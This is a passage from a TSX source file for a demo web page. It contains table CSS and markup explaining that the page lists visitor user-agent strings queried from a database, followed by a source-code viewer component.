  border-collapse: collapse;
  margin: 1rem;
  display: inline;
}
#user-agents th,
#user-agents td {
  border: 1px solid var(--text-color, black);
  padding: 0.25rem 0.5rem;
  max-width: calc(90vw - 8rem);
  word-break: break-word;
}
`)}
    <p>This page demonstrates showing query result from database.</p>
    <p>
      Below list of user agents are collected from the visitor's HTTP header.
    </p>
    <Tables />
    <SourceCode page="user-agents.tsx" />
  </div>
)

export default UserAgents